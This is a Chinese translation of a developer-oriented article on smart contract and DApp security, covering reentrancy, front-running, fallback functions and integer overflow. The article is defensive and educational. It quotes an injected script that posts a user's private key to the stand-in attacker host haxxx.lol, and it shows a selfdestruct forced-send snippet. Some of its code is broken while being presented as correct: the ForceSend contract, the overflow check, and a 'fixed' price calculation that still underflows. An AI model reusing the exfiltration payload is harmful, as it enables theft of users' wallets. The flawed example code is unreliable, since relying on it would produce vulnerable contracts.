导读:各个公链上的智能合约和Dapp数量在高速发展的同时,也隐藏着许多致命的风险,本文结合区块链的特性,为广大智能合约和DAPP开发者提供忠实的安全方面建议。
智能合约和dapp的开发属于新的范式,开发的方式与以前会有所不同。
“敏捷开发”的格言在这个新范式中好像不起任何作用了,这类项目的开发会有一定的风险,这要求我们采用缓慢而有条理的方法来开发我们的应用程序,在设计和编码时尽量谨慎和考虑周全。
开发时也不能让自己承受过多的压力,比如制定严格的期限等。
如果把大多数传统的apps类比于社区诊所,那么区块链可以说是急诊室。有些很小的问题,一旦上链的话,就会变得很难解决,你必须考虑到所有可能的负面结果,如果没有这么做,你可能会面临非常可怕的后果。
所以在我开始具体的内容之前,我必须要重申一下区块链开发方面的特点,这些迫使我们开发时要非常小心。
所有代码都是公开的
首先,区块链的代码是开源的,任何人都可以看到你写的代码,所以很明显,智能合约中不应记录敏感的个人信息。不然,你就可以进行用户的链上行为分析,这对于小白用户来说可能听起来不太好,因为他的历史行为暴露在了全世界面前。
这就导致智能合约及其相关存储功能只能存储合同正常运行所必需的信息。
其次,最最重要的是,所有源代码都公开可见,这意味着在地下工作的明星黑客有充足的时间和自由,来梳理你的每一行代码,寻找其中的漏洞,代码将无处可藏。
Gas 限制
我相信大多数人都知道,以太坊的是有Gas费的,Gas费些许的昂贵,并且还有一定的限制!如果智能合约中的逻辑可以导致大量Gas消耗,则会出现严重的问题。循环调用是这种情况的常见原因。
最后也是最重要的一点是:
不可篡改特性
智能合约代码都是完全根据最初的逻辑执行,都不想重蹈The DAO级别的硬分叉悲剧。
区块链开发的特点是,合约一旦部署,一切都将不可篡改。不可篡改的优点是让我们可以高枕无忧地相信智能合约。我们首次将信任编程到代码中。陌生人之间可以信任代码,而不是彼此建立信任。我们慢慢的开始相信智能合约,它不会骗人,也不会在任何时候做出格的事情。
对我来说,我会以非常开放的心态拥抱全球的区块链霸主。并且作为工程师,我也会努力去实现这个信任社会,但是这个信任社会也有致命的问题。
设想一下,如果我们家的技术文盲奶奶不小心把她的google搜索痔疮膏的信息发布到了Facebook上,这不会是大问题,可以删掉。但如果她在某个有漏洞的智能合约上暴露了自己的私钥,那我们就无能为力了,她精通技术的侄子也没有任何办法,区块链浏览器中历史记录将无法删除!
在写代码的时候,我们必须假设每个用户都是技术文盲,并百分百地确保函数的正确调用,执行能够操作无误,你永远都不会知道,有多少人盯着你钱包地址上的数百万美金。
接下来我将介绍一些准备好的漏洞示例,并且进行一些练习,让每个人都参与进来。以便我们在今后在写代码时能够避免Dapp和智能合约的漏洞。
实际案例推荐
我们来看第一个案例,让我们从一些背景开始。
· 这是一个去中心化的游戏平台
· 它的应用程序都是基于浏览器的
· 游戏开发者可以公开发布他们的游戏(在以太坊网络上运行的dapps)
· 玩家可以注册dapp并从选择各种游戏(用ETH购买虚拟商品)
· 注册时会帮你创建新的钱包(这个案例不需要Mist 或Metamask)
· 钱包密钥存储在玩家的浏览器中,用于验证和支付。
是的,这似乎是开发人员通过平台进行发布,并有效连接玩家的好地方。
不幸的是,有一款叫HODL QUEST的游戏在发布后,用户下载它时,他们钱包中的以太币数量就开始减少。
玩家的以太币去哪了呢?让我们先来看一下平台的一些情况:
· 这个问题是几小时前发布的新游戏HODL QUEST引起的
· 首次打开游戏后,钱包的资金几秒钟就消失了
· 在游戏注册期间,开发人员在平台内的表单中输入dapp的名称,智能合约地址和URL
· 该平台将游戏iframe嵌入到dapp中,同时在页面顶部显示游戏名称
· 你可以开始看看它的发展方向……经过进一步的检查,我们发现HODL QUEST游戏的开发者在注册过程中为游戏标题注入了一个内联脚本。仔细观察游戏html代码,我们发现了这样的事情:
<h1>HODL <script>$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));
</script> QUEST</h1>
用户的浏览器插入了游戏标题的javascript片段,并将用户的私钥发到给攻击者远程服务器上。
这只是我们写Dapp时可能出现的众多问题之一。
以下我列举的是,在构建项目时要记住的事项清单:
•保护钱包和私钥:如果用户的钱包受到损害,那就game over了,所以处理这些敏感信息时需要特别小心。
•保护用户信息:用户不希望他们的个人数据暴露在世界各地,开发时要确保用户数据不被泄露。
•明智地评估需要存储在区块链或服务器中的内容,只能包含智能合约运行所必需的数据
•使用HTTPS:这是标准做法,应该是显而易见的
•.gitignore敏感文件:保护自己免于意外泄露漏洞的另一种方法
•不要在代码中插入访问/ API密钥
•在dapp中执行关键/风险操作时要进行双重认证:在区块链上采取的操作是不可变的,因此链下的安全验证非常重要
DAPP的安全性与智能合约的安全性一样重要,希望广大开发者始终牢记在心。
智能合约竞争条件
再来讲讲竞争条件,什么是竞争条件?就是是电子设备,软件或其他系统中的输出取决于其他不可控事件的顺序或时间一种行为。当事件没有按程序员的意图发生时,它就变成了一个bug。这是以太坊智能合约中许多漏洞的根源
在以太坊智能合约中出现竞争条件的方式有几种。在这篇文章中,我们将关注两种常见情况。重入和交易顺序依赖。
重入
如果计算机程序可以在执行过程中被中断,则可以在其先前的调用完成执行之前安全地再次调用(“重新输入”),这被称为可重入计算机程序。在对其他合同进行外部调用时,这可能会显示在智能合约中,因为它们可能会在原始调用完成之前回调到原始函数。你可能会问,这怎么可能?
输入fallback 函数,这些函数是在将Ether发送到合约时调用的功能,而不提供要调用的函数名称。
在这个例子中,当withdraw函数使用address.call.value()方法发送ether时,它会触发BankRobber的fal’lback函数,然后可以再次调用withdraw方法。正如您所看到的,这将导致智能合同一次又一次地发送以太可能会耗尽所有以太币!
从上图中可以看出,有许多不同的方式可以发送以太币,但大多数情况下,都推荐使用address.transfer。这是因为如果交易耗尽所有的2300 gas,就会回滚。这样,如果恶意合同试图重新签订合同,gas将用完,整个交易将被还原。
在某些情况下,使用发送或回调是有意义的,但在使用这些时需要格外小心,因为只有在发送以太币感到非常满意时,才会出现这种情况。99%的时候,转移是正确的路径。
防止重入的另一种方法是在进行外部调用之前更新状态并在合同中执行检查,以确保状态代表即将执行的事务。
打包头部交易(交易顺序依赖)
另一种情况是竞争条件依赖,让恶意的交易被优先打包,这是区块链的开源性质决定的。如果在智能合约中运行竞价或类似机制,黑客可能会通过操纵gas价格,矿工打包交易时会在交易池中选择价格高的进行打包。在这段时间内,其他恶意行为者可以监控并发送恶意交易,来破坏已经发送的出价交易。矿工则会对区块中的交易价格进行重新排序,这就造成恶意交易被优先打包。
有几种不同的方法可以防止像这样的操纵。一个是把交易批量打包,另一个方法是披露投标人发送其出价的哈希值,在确认之前识别是不是恶意交易。
让我们来看看另一个例子
这个智能合约是一个游戏,用户可以将以太币送到智能合约中成为新的国王。当一个新人成为国王时,老国王就会收到智能合约中的以太币。你能找到这个漏洞吗?
这是Ethernaut的一个很好的例子,它开展了探索智能合约安全的练习。
这些示例表明,在进行外部调用时,绝不应该假设您调用的智能合约是可信的。始终注意防止攻击者可能尝试的所有可能的负面结果。
fallback函数
fallback函数很有用,因为它们包含在将Ether发送到您的合同时调用的代码。但他们无法处理一切。
首先,当从fallback函数触发时,回退功能只能访问2,300 gas,因此逻辑需要非常简单,以免发生gas错误。
// example of a fallback function when
// you don’t want Ether to be sent to a contract
function () payable {
revert()
}
有一个问题!当以太币被强制发送到合约时,后备功能不会触发
contract ForceSend() {
function ForceSend() {
// sends ETH to victim without triggering the fallback function
function destroy() {
selfdestruct(victim);
}
}
函数将智能合约的以太币发送到受害者地址。此发送不会触发合同中的回退功能。接收免费以太是很好的,但正因为如此,你需要避免直接检查合同的余额并期望它是一个特定值,因为它实际上可能比你想象的更大!
整数运算
与大多数现代架构不同,EVM不处理浮点数或算术运算。所有数字存储和算术都用整数处理。这是什么意思?这意味着您的合同中没有任何意义,您可以将任何内容存储为小数或执行通常会返回小数的操作,例如查找百分比等。让我们看一个例子。
想象一下,您正在创建一个代币销售智能合约,根据销售过去的时间为买家提供奖励购买。它可能看起来像这样。
/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = (now – startTime)/(endTime – startTime);
uint price = (1-percentTimePassed)*basePrice + basePrice;
return price;
}
正如您所看到的,用传统语言,通过的时间百分比将计算为0到1之间的小数,然后返回价格。
不幸的是,这不适用于整数运算。如果操作操作不正确,可能某些不正确的百分比会导致严重问题的情况。
在Solidity中,你必须做这样的事情:
/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = 100*(now – startTime)/(endTime – startTime);
uint price = ((1-percentTimePassed)*basePrice)/100 + basePrice;
return price;
}
百分比计算为0到100之间的整数,应用于基本价格,然后除以100以将“小数位”固定到正确的点。这是计算百分比的一种粗略方式,因为它牺牲了一些精度,但是根据EVM的运行方式是必要的。您可以通过乘以100的较大倍数来获得更好的精度,但这是一个取决于合同背景的决定。
整数溢出/下溢
根据维基百科,当算术运算尝试创建一个数值超出可以用给定位数表示的范围 – 大于最大值或低于最小可表示值时,就会发生整数溢出。大多数语言都有解决此问题的方法,但Solidity无法自行处理溢出检查。这导致过去在区块链上出现一些智能合约的问题,但有很多方法可以解决这个问题。以下是使用Solidity添加的示例:
function add(uint a, uint b) {
res = a + b
if (res-b == a) && (res>b || res==b) {
// the operation was safe
} else {
// overflow
}
}
这通过确保结果没有包围变量所保持的最大值来检查加法运算的溢出。减法,乘法和除法需要类似的检查。
漏洞 3
你能找到智能合约中的错误吗?
uint[] public bonusCodes;
function pushBonusCode(uint code) onlyOwner {
bonusCodes.push(code);
}
function popBonusCode() onlyOwner {
require(bonusCodes.length >= 0);
bonusCodes.length–;
}
function modifyBonusCode(uint index, uint update) onlyOwner {
require(index < bonusCodes.length);
bonusCodes[index] = update;
}
此契约具有一个存储数组,其长度字段可以递减到0.这会导致算术下溢,从而有效地禁用Solidity的数组边界检查。因此,在溢出写入数组之后可以用来覆盖位于数组之后的任何存储元素 – 包括所有映射!
在开发的时候,我们并不能确定,有哪些没有考虑到的微小的点,单这些可能是导致归零的重大问题,在文中举的案例中,就导致用户平均损失了数百万美元。
我们所能做的最好的事情就是遵循所有现有的应用程序和智能合约范式,并且要要进行广泛测试,以及要让专业的安全人员帮我们审核代码。
未来,让我们一起共建智能合约的功能和安全性!
(*本文由Joshua Hannan(Modular的首席运营官)首发于medium.com平台,由猎豹区块链安全团队翻译与整理*)